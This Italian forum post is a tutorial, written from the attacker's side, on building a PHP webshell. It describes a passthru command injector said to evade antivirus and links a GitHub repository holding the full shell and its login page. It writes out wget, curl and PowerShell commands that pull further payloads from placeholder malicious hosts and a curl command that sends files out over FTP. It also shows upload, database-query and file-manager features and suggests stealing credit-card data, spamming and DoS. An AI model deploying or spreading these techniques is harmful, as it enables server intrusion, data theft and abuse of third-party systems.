Webshell: alle basi del web exploiting

Stato
Discussione chiusa ad ulteriori risposte.

Gorate

Utente Emerald
13 Novembre 2016
1,384
42
478
529
Ultima modifica:
A seguito della release di un semplice ma efficace tool per rilevare ed analizzare od eliminare le webshell nel nostro server o pc [vedi https://www.inforge.net/xi/threads/mini-tool-in-bash-antiwebshell.477594/], ho voluto giocare la parte dell' attacker: come creare una webshell ???!

La cosa si e' rivelata subito molto interessante e fantasiosa, tanto che, come sto' per illustrarvi, anche una webshel molto complessa, parte da un semplicissimo "command injector" [iniettore di codice in php che viene uppato sulla macchina target] di appena 16 righe di codice;

Il codice, e' stato uppato sul mio account github, e questo e' un semplice command injector in php: una volta uppato nel sistema vittima, permette di eseguire comandi e codice di ogni tipo [requisiti permettendo] e farli eseguire direttamente alla macchina target; Si noti che la funzione usata e' molto sempice, e non e' infatti rilevata come pericolosa dai normali antivirus: per favore, non uppate tutto su questo cavolo di virustotal o servizi simili: anche serizi come nodistribute analizzano ed inviano informazioni alle varie case di antivirus.


Appena scaricata da github il file cnc [command and control webshell], troverete qualcosa del genere:
upload_2017-7-29_21-42-36.png

,questo e' un semplice, come detto prima command injector che riceve un input come comando e attraverso la funzione passthru, lo processa ed esegue nella macchina su cui e' hostato il file;

nota: da notarsi che avrei anche potuto usare altre funzioni sempre di php, come exec o shell_exec , la scelta e' ricaduta su passthru in quanto shell_exec e simili, non riporta correttamente l' output dei vari comandi continuati: come ad esempio netstat -al ........

Ritornando a noi: se eseguiremmo un semplice comando, questo riportera' a noi l' output come se lo avessimo eseguito direttamente dalla macchina;

[in questo caso e' stato adottato windows come macchina target, quindi il comando eseguito e' stato
Codice:
dir
, mentre su linux, il relativo sarebbe
Bash:
ls -al
pwd
; Questa e' spunto per 2 importanti osservazioni:

  1. In primis, essendo scritto in php, il command injector puo' rinnare su qualsiasi macchina con installato un server e php: quindi e' multipiattaforma, e puo' essere adottato da windows, a mac, a linux, a red hat os ad arduino a raspberry...............sempre se con i relativi prerequisiti.
  2. Il fatto che possiamo eseguire comandi su una macchina target, ci fa' capire come sarebbe semplicissimo eseguire qualsiasi tipo di azione, ma con le relative conoscenze; Nel caso in cui invece vogliate automatizzare e velocizzare le varie azioni, si passa da un semplice command injector ad un vero e proprio arsenale di armi prefabbricate pronte all' uso.
Ora, per poter exploitare ulteriormente un server/VPS/servizio web/sito, bisogna innazitutto aver la possibilita' di injectare altri file, ma se siamo riusciti ad injectare a webshell molto semplice [non rilevata a causa della sua semplicita'] per miracolo, come possiamo injectare veri e propri arsenali, moduli secondari o backdoor che prendano il controllo del sistema e non del solo server???: bisogna poter uploadare qualsiasi file senza che passi sotto i vari controlli/filtri/difese ecc.........: bisogna aggiungere alla nostra webshell un modulo per l' upload diretto di file, ma prima, ecco come potremmo fare la stessa cosa dalla semplice webshell di prima:

tutto dipende dall' OS:
se linux, basta usare uno dei tanti servizi per ottenere file in remoto [fate finta di aver uppato una webshell in un sito nascosto e la volete scaricar da li' ]:

uno dei servizi che permette cio' e' wget:


Codice:
wget -b httpx://sitomalevolo/webshellcompleta.php
, mentre per poter downloadare piu' file [download su macchina target, quindi upload parlado in termini di user/attacker], basta eseguire i seguenti comandi:
Codice:
cat urls.txt > url1 url2 url3 [con i file]
wget -i urls.txt
, mentre se il file e' hostato da ftp, anche cosi' :
Codice:
wget ftp://malicisoussite/webshellcompleta.php

o se richieste credenziali [meglio per eviater di lasciare un url scoperto accessibile a tutti], basat fare cosi' :

wget --ftp-user=USERNAME --ftp-password=PASSWORD ftp://malicisoussite/webshellcompleta.php
; Stessa cosa, se il dispositivo non ha installato wget, si puo' fare con curl [questo anche su windows], in modo molto semplice:
Codice:
curl -O http://malicioussite/webshellcompleta.php [od eventualment anche altri file, come backdoor ecc.......]
con piu' file:
Codice:
curl -O url1 -O url2
o con ftp :
Codice:
curl -u ftpuser:ftppass -O ftp://malicioussite/webshell.php

su windows invece, la cosa diviene piu' elaborata: o si procede con una injection di file in powershell che poi si esegue [che fungerebbe quidni da uploader in ps1 o attraverso curl e servizi annessi come visto prima]; Ora vediamo come fare con powershell:

Codice:
powershell.exe Invoke-WebRequest -Uri "http://malicioussite.com/webshellcompleta.php" -OutFile "C:\dir\del\file\webshellcompleta.php"
, dopodiche' sara' possibil usufruire del file scaricato dalla dir in cui abbiamo scaricato quest' ultimo.

Tutto cio' lo possiamo riassumere in un semplice form di upload in php da inserire nella webshell: in questo modo non servira' sapere quale OS ha il target, e il servizio usato sara' lo stesso php, evitando cosi' che si possano anche recuperare gli eventuali comandi eseguiti, arrivando cosi' alla sorgente dei file infetti ecc.......

come potete vedere, la cosa sara' molto semplice: basta creare un semplice upload form : potete trovarne uno molto semplice su internet, o anche adottare quello nel file finale che trovate nella repo github sotto il nome webshell_completa.php [anche se gia' impostata con tutte le funzionalita'];

upload_2017-7-22_21-11-30.png


Ora potremmo uppare tutto cio' che vogliamo, indifferentemente dal sistema operativo del target e senza filtri di upload diretti [almeno che i filtri non vi siano anche nella macchina stessa, come ad esempio il tool postato che ho riportato sopra all' inizio, in quel caso una semplice analisi delle prime 10 righe di codice confirmerebbe che ........il file non e' sicuro.

Ecco: abbiamo automatizzato l' upload di file attraverso un semplice menu' ed un form di upload;

Ora ci possiamo sbizzarrire: potremmo fermarci qui, dato che le 2 funzioni principali, quindi esecuzione di comandi e upload di file sul target e' ormai riuscito, ma se il sito avesse un db ???! non fermiamoci qui: interagiremmo con quest' ultimo per trovare i dati della nostra fidanzata o il numero della carta di credito ..............

cio' si potrebbe fare anche attraverso injection di query dal comand injection, ma un form che semplifichi il tutto e' piu' apprezzato, quindi ........creiamolo!!!:

Per far cio' dovreste conoscere bene l' interazione con db con php, ma trovate il source su github, quindi potrete analizzarlo senza essere dei phpisti! I campi piu' importanti sono host,user,pass,db e query da injectare: ed ecco il risultato:

upload_2017-7-22_21-18-29.png
;

Ora potremmo veramente definirlo un piccolo arsenale, ma c'e' un limite terribile che neanche vi immaginate: la navigazione dei file di directory in dirctory, infatti se lo facessimo da "command injector" attraverso i comandi:
Codice:
pwd
cd ..
pwd
, otterrete sempre la stessa directory: di fatto non possiamo navigare file ed effettuare semplici modifiche a quest' ultimi [naturalmente attraverso semplici bottoni e non attraverso editor da terminale che non salverebbero il risultato..........] :
Visualizza allegato 23046
ora siamo in c/xampp/htdocs, facciamo cd ... e......rieseguiamo dir [in win e per linux pwd per vedere il risultato]:
upload_2017-7-22_21-24-1.png
, non e' cambiato nulla: dobbiamo al piu' presto fare un navigatore e modificatore basico di file:
upload_2017-7-22_21-25-28.png
, questo menu' ci permette di visionare i file, di eliminarli, modificarli e downloadarli sulla nostra macchina [sconsigliato se si vuole mantenere l' anonimato, meglio prima adottare un "ponte" , magari un server ftp con credenziali per eseguire l' accesso in modo da non rendere pubblico a tutti il contenuto di questo; Cio' si puo' fare eseguendo il semplice comando con il curl :

Codice:
curl -T localfile.php ftp://username:[email protected]/remotedir/file_downloadato_dal_server_xx.txt
;

Ora possiamo definire il piccolo "command injector" una vera e propria [anche se semplice] webshell; Ma per essere comoda, non sarebbe meglio poter sapere dall' inizio l' OS della macchina target, eventuali info agiuntive e magari poter controllare il phpinfo file per vedere se la versione php e' obsoleta e/o vulnerabile?

Attraverso semplici comandi di redirect alla pagina interessata, ed estrapolazione di informazioni [che trovate nel source del file completo su github], potrete eseguire tutto cio:

upload_2017-7-22_21-32-15.png
;
Vedi phpinfo.........
upload_2017-7-22_21-33-38.png
e molto altro........

Ora siamo veramente pronti; La differenza fra una webshell e questa e' la possibilita' che tutti possano usarla, ma in questo caso, solo coloro che conoscono bene la programmazione, potranno eseguire dos al server, uppare altri script infetti da eseguire per maggiori possibilita' di cose da fare o semplicemente sfruttare il sito come un mail spammer [magari atraverso una funzione php mail() ed un semplice programmino................

La risorsa della webshell "completa" e' disponibile sul mio account github all' indirizzo:

https://github.com/noalh8t/simple-webshell/blob/master/shell3.php

PS: una feature molto importante e' un login che non permetta a tutti di usare a webshel solamente andandoci sopra ................
per questo usate uno script dl genere:

https://github.com/noalh8t/simple-webshell/blob/master/login.php [esempio che non ha nulla a che fare con questa wesbshell, ma potete prenderla come spunto:
upload_2017-7-22_21-50-38.png
[semplice implementazione con un login ...........la password di dafault e' test, infatti:
, questa e' una password a cavolo che non funge, infatti ti riporta alla home;Mentre inserendo una password giusta [test], otterremmo questo:
upload_2017-7-22_21-54-52.png

]

Spero la guida vi sia piaciuta; Ho ancora in mente di fare una nuova release su
"COME uppare una webshell in un sito target" [naturalemnte tutto virtualizzato in locale] : se la guida vi e' piaciuta laciate un mi piace:);) buonaserata a tutti e spero vi sia piaciuta la guida

Download
 

Allegati

  • upload_2017-7-22_21-51-57.png
    upload_2017-7-22_21-51-57.png
    1.1 KB · Visualizzazioni: 38
Stato
Discussione chiusa ad ulteriori risposte.